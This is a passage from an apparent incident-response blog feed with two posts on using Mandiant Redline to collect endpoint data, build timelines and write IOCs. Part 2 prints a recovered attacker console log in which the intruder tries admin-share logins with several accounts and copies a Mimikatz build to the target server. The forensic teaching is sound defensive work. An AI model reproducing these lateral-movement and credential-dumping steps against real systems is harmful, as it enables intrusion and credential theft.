<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part2/rexplicit.png" title="Explicit credentials - Rob" alt="Explicit credentials - Rob"></p>

<p><code>Mike</code>&rsquo;s account&hellip;</p>

<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part2/mexplicit.png" title="Explicit credentials - Mike" alt="Explicit credentials - Mike"></p>

<p>and <code>Bob</code>&rsquo;s account against the target server:</p>

<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part2/bexplicit.png" title="Explicit credentials - Bob" alt="Explicit credentials - Bob"></p>

<p>Interestingly enough the time differences between the logons were very short and suggest more of an enumeration activity.</p>

<p>Let&rsquo;s get rid of the filter and examine closely all related entries for each explicit credentials event log entry. Nothing interesting for the first two logons, however entries surrounding third explicit logon give us more details. Registry changes suggest some sort of network activity, which might be related to accessing a network share on our protected target server by user <code>Bob-ADC</code>. This doesn&rsquo;t look good at all!</p>

<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part2/xtimeline.png" title="Timeline - Registry" alt="Timeline - Registry"></p>

<p>Let&rsquo;s summarize the findings of our analysis so far:</p>

<ul>
<li>The file <code>m64.exe</code> was present in the root directory on <code>WIN-569IC7NK834</code> (<code>10.10.100.50</code>) before suspicious logon started.</li>
<li>Followed by authentication attempts using four different sets of credentials against protected target server <code>WIN-UC6FN0KAUGQ</code> (<code>10.10.100.100</code>).</li>
<li>Evidence suggesting mounting a remote network share (root directory) on the protected server <code>WIN-UC6FN0KAUGQ</code> (<code>10.10.100.100</code>) was recorded in the Windows registry on <code>WIN-569IC7NK834</code> (<code>10.10.100.50</code>).</li>
</ul>


<p>There is still plenty of stuff to investigate further. What about the <code>conhost.exe</code> memory ranges? Redline finished dumping the files to disk after few minutes so it&rsquo;s time to review memory ranges with good old <code>strings.exe</code> from Sysinternals.</p>

<p>After endless scrolling through strange hex, numbers and letters eventually a needle in a haystack was found!
Strings inside the <code>conhost.exe</code> process memory revealed commands executed on the host <code>WIN-569IC7NK834</code> (<code>10.10.100.50</code>) by user <code>PMac</code> (everyone loves memory forensics!):</p>

<pre><code>C:\Users\PMac.LAB&gt;net view
Server Name Remark
----------------------------------------------------------------
\\WIN-569IC7NK834      Lab-Desktop
\\WIN-UC6FN0KAUGQ      Secure-Lab1
The command completed successfully. 

C:\Users\PMac.LAB&gt;net use X: \\WIN-UC6FN0KAUGQ\C$
The password is invalid for \\WIN-UC6FN0KAUGQ\C$.
Enter the user name for 'WIN-UC6FN0KAUGQ': PMac
Enter the password for WIN-UC6FN0KAUGQ: 
System error 5 hasoccurred. 
Access is denied.

C:\Users\PMac.LAB&gt;net use X: \\WIN-UC6FN0KAUGQ\C$
The password is invalid for \\WIN-UC6FN0KAUGQ\C$.
Enter the user name for 'WIN-UC6FN0KAUGQ': Rob-ADC
Enter the password for WIN-UC6FN0KAUGQ: 
System error 5 hasoccurred. 
Access is denied.

C:\Users\PMac.LAB&gt;net use X: \\WIN-UC6FN0KAUGQ\C$
The password is invalid for \\WIN-UC6FN0KAUGQ\C$.
Enter the user name for 'WIN-UC6FN0KAUGQ': Mike-ADC
Enter the password for WIN-UC6FN0KAUGQ: 
System error 5 hasoccurred. 
Access is denied.

C:\Users\PMac.LAB&gt;net use X: \\WIN-UC6FN0KAUGQ\C$
The password is invalid for \\WIN-UC6FN0KAUGQ\C$.
Enter the user name for 'WIN-UC6FN0KAUGQ': Bob-ADC
Enter the password for WIN-UC6FN0KAUGQ: 
The command completed successfully.

C:\Users\PMac.LAB&gt;dir X: 
Volume in drive X has no label.
Volume Serial Number is 16EE-2261
Directory of X\
01/25/2015  04:43 PM    &lt;DIR&gt;          inetpub
07/14/2009  03:20 AM    &lt;DIR&gt;          PerfLogs
01/25/2015  05:19 PM    &lt;DIR&gt;          Program Files
01/25/2015  04:28 PM    &lt;DIR&gt;          Program Files (x86)
01/25/2015  05:41 PM    &lt;DIR&gt;          Users
01/25/2015  06:55 PM    &lt;DIR&gt;          Windows
        0 File(s)              0 bytes
        6 Dir(s)  16,423,743,488 bytes free 

C:\Users\PMac.LAB&gt;xcopy C:\m64.exe X:\ /K
C:\m64.exe
1 File(s)copied

C:\Users\PMac.LAB&gt;dir X:
Volume in drive X has no label.
Volume Serial Number is 16EE-2261
Directory of X:\        
01/25/2015  04:43 PM    &lt;DIR&gt;          inetpub
11/20/2010  09:29 PM    302,592 m64.exe
07/14/2009  03:20 AM    &lt;DIR&gt;          PerfLogs
01/25/2015  05:19 PM    &lt;DIR&gt;          Program Files
01/25/2015  04:28 PM    &lt;DIR&gt;          Program Files (x86)
01/25/2015  05:41 PM    &lt;DIR&gt;          Users
01/25/2015  06:55 PM    &lt;DIR&gt;          Windows
        1 File(s)        302,592 bytes
        6 Dir(s)  16,426,651,648 bytes free
</code></pre>

<p>So what exactly happened here?</p>

<p>Someone tried to view the available network resources with the <code>net view</code> command and then failed to mount a remote share using different accounts (<code>PMac</code>, <code>Rob-ADC</code>, <code>Mike-ADC</code>). The last attempt using <code>Bob-ADC</code> credentials successfully mounted network share. After that the attacker copied suspicious file <code>m64.exe</code> to remote location. If the file was not suspicious enough when we&rsquo;ve looked at it for the first time, now it would be really good to speed up our malware analysts to get as much information as possible regarding the file.</p>

<h3>Creating an IOC</h3>

<p><a href="http://openioc.org/">Building IOCs</a> is based on the Boolean logic and keywords. For instance we can use Event Log ID 4648 to look for any existence of explicit credentials in Event log:</p>

<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part2/eioc.png" title="IOC - Explicit credentials" alt="IOC - Explicit credentials"></p>

<p>Let&rsquo;s assume that malware analyst came back with the results: <code>m64.exe</code> is recompiled version of Mimikatz - a well known password dumping tool.
For instance an IOC can be built based on the name for both 32 and 64 bit platforms, extension and MD5.</p>

<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part2/mioc.png" title="IOC - Mimikatz" alt="IOC - Mimikatz"></p>

<h2>Hunting with IOCs</h2>

<p>In real case scenario this would be a good time to gather all the findings from the initial investigation and sweep across estate for more machines that indicate similar suspicious activity. It would be a good starting point to extract all activity of compromised accounts from the Domain Controller and run <a href="http://dfir.it/blog/2015/04/04/building-incident-response-toolkit-redline-part1/">IOC collectors</a> on all machines where any of those accounts were recorded. It might be worth considering to add collection of all event logs and/or memory to your collector.</p>

<p>When analyzing the data collected by the IOC Collector open the analysis file and select:</p>

<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part2/imenu.png" title="Redline - IOC" alt="Redline - IOC"></p>

<p>Select the folder with IOCs:</p>

<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part2/ifolder.png" title="IOC folder" alt="IOC folder"></p>

<p>Choose IOCs:</p>

<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part2/ipath.png" title="IOC list" alt="IOC list"></p>

<p>The report will be generated in the background. When it is ready click the <strong>IOC Report</strong> on the bottom left side and review your IOC report.</p>

<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part2/ireport.png" title="IOC report" alt="IOC report"></p>

<p>You found more indicators of compromise on other machines? Cool now you can iterate through our process with the new findings.. Repeat the same process over and over again in order to understand what exactly <a href="http://en.wikipedia.org/wiki/Five_Ws">happened</a>. Eventually this will allow you to get rid of the bad guys, sharpen your tools and be more prepared for another round!</p>

<p>Feel free to stick around for part 3 of the series if you want to learn more about other tools to analyze data collected by Redline.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Building Incident Response toolkit - Redline (part 1)]]></title>
    <link href="http://dfir.it/blog/2015/04/04/building-incident-response-toolkit-redline-part1/"/>
    <updated>2015-04-04T14:45:15+02:00</updated>
    <id>http://dfir.it/blog/2015/04/04/building-incident-response-toolkit-redline-part1</id>
    <content type="html"><![CDATA[<p>Well it happened.</p>

<p>You are working as a full time Incident Responder or it might be that you are working as a consultant and use your knowledge and expertise only whenever security incident hits your organization. Never mind the details, incident is declared! Someone is inside your network, it all started with information about strange behavior - suspicious logon attempts from different admin accounts to your highly secured part of a network. One of the servers used for unsuccessful logon attempts contained suspicious executable which after short initial analysis seems to be well known password dumping tool. Insider? APT? Management is highly interested, pressure is growing. Someone may think: ‘Yep just another day of an Incident Handler’</p>

<!--more-->


<p>In a perfect world, you would be working for an organization that has all the tools and processes in place. You grab your jump bag, take your corporate credit card and go directly on site to investigate. No? So your company only does it remotely? Fair enough. No time to be wasted - you need to verify information and start to analyze artifacts in order to recreate what happened. You are able to remotely collect valuable data from the endpoints, perform initial assessment, review monitoring platforms, sweep estate for initial indicators, perform basic memory and file system forensics, analyze netflows, logs and finally build timelines. At the end of the day, when you have more knowledge about what happened, you can update management and plan your next steps.</p>

<p><a href="https://www.youtube.com/watch?v=yqyixwqiCag">Say Whaaaat?</a> You don’t have any tools because there was no budget? You do not have a full coverage of the environment with your monitoring platforms? Management decided to use endpoint security only for the most protected part of the infrastructure and you do not have access and visibility? Your organization decided to offshore infrastructure to managed services provider and you need to collaborate with technical teams from different organization?</p>

<p>Pick your reason. If it makes you feel better even add your own. We live in a <a href="http://en.wikipedia.org/wiki/Murphy%27s_law">Murphy&rsquo;s Universe</a>. You will probably never have everything you need and yes, you can blame management and complain or you can have fun and investigate potential incident and do some cool stuff. You just need to build alternative toolset and processes as a plan B (or build it as your primary toolset if you are really screwed up and your organization finance your Incident Response capabilities with ‘Great Job!’ approach.)</p>

<p>IR activities can be divided into following steps:</p>

<p>Analysis:</p>

<ul>
<li>collect data (locally or remotely, manually or automatically)</li>
<li>analyze data</li>
<li>build timelines and recreate <a href="http://en.wikipedia.org/wiki/Five_Ws">what happened</a></li>
</ul>


<p>Scoping:</p>

<ul>
<li>create indicators of compromise (IOC) based on TTP (tools, tactics, procedures)</li>
<li>deploy IOC (create rules across monitoring platforms, sweep estate)</li>
<li>monitor estate for new suspicious activity</li>
</ul>


<p>Keep in mind that it is highly likely that you might not be the person that will execute the tools, and you will need to rely on someone (administrators, local support, janitor?) to perform one of the most crucial part of every investigation - collection of evidence - for you. Thus it would be really good to have this process automated and easy to use.</p>

<p>Standard disclaimer. Before we start playing with <a href="https://www.mandiant.com/resources/download/redline">Redline</a> it&rsquo;s definitely a good idea to first test it in a safe environment! Feel free to check <a href="http://www.mandiant.com/library/Redline1.13_UserGuide.pdf">official documentation</a> to be sure that you know what you are doing. This series will leverage capabilities of Redline in some example scenario and build a basic process around it. Keep in mind that if you have any other ideas, doubts or experience please feel free to share it so we could all learn from it!</p>

<p>Redline allows analyst to build endpoint collectors. In our scenario we will use Comprehensive and IOC Collectors.
Official manual states that:</p>

<ul>
<li><p>&ldquo;Comprehensive Collector configures scripts to gather most of the data that Redline collects and analyzes. Use this type of Redline Collector if you intend to do a full analysis or if you have only one opportunity to collect data from a computer.&rdquo;</p></li>
<li><p>&ldquo;IOC Search Collector. The IOC Search Collector collects data that matches selected Indicators of Compromise (IOCs). Use this Redline Collector type when you are looking only for IOC hits and not any other potential compromises. By default, it filters out any data that does not match an IOC, but you can opt to collect additional data.&rdquo;</p></li>
</ul>


<h3>Creating a Comprehensive Collector</h3>

<p>Select the type of collector:</p>

<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part1/ccollector.png" title="Collector type" alt="Collector type"></p>

<p>Click on <strong>Edit your script</strong> to review what data will be collected.
Tick a box if you want to acquire memory.
General recommendation - acquire memory whenever it is possible (legal, bandwidth, HR approvals etc.). Memory forensics is an invaluable source of information and essential part of every investigation.</p>

<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part1/dataa.png" title="Data acquisition" alt="Data acquisition"></p>

<p>At the bottom of the window select the name of the folder where collector will be stored and then press OK.</p>

<h3>Creating an IOC Collector</h3>

<p>Select <strong>IOC Search Collector</strong>:</p>

<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part1/icollector.png" title="Collector type" alt="Collector type"></p>

<p>Select a folder containing indicators of compromise (see <a href="http://dfir.it/blog/2015/04/04/building-incident-response-toolkit-redline-part2/">how to create IOC</a>):</p>

<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part1/ifolder.png" title="IOC folder" alt="IOC folder"></p>

<p>Redline will parse content of the folder and display names of all IOCs:</p>

<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part1/ipath.png" title="IOC list" alt="IOC list"></p>

<p>Select IOCs that should be included in the collector and than follow the same steps for creating a Comprehensive Collector.
With know-how about building collectors, scenario in place and basic process, incident handlers are ready to collect data and investigate suspicious activity. In <a href="http://dfir.it/blog/2015/04/04/building-incident-response-toolkit-redline-part2/">part 2</a> we will start the analysis with Redline.</p>

<p>If you are wondering at this point why not just pull a plug, or separate suspected machine from a network, create a forensic image and perform full blown forensics? Bear with me until the end of the series. However if you are really impatient, using collectors allows you to act faster and start investigation and basic containment while your forensic images are still uploading or waiting for segregation in Fedex storage room. Oh, by the way it is far more easier to get approval for &lsquo;acquiring metadata&rsquo; rather than full image straight away, especially when user traffic and data is involved.</p>
]]></content>
  </entry>
  
</feed>
